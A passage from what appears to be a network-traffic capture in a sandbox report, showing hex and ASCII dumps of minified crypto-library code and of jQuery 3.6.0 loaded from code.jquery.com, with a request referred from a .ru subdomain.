lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 Data Ascii: l(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)tr
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b Data Ascii: f t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e Data Ascii: (r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 Data Ascii: .byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:func
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:10 UTC	663	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zy7z.fmaymzjp.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:10 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Fri, 21 Mar 2025 06:03:10 GMT Via: 1.1 varnish Age: 1205972 X-Served-By: cache-lga21922-LGA X-Cache: HIT X-Cache-Hits: 996 X-Timer: S1742536990.391392,VS0,VE0 Vary: Accept-Encoding
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
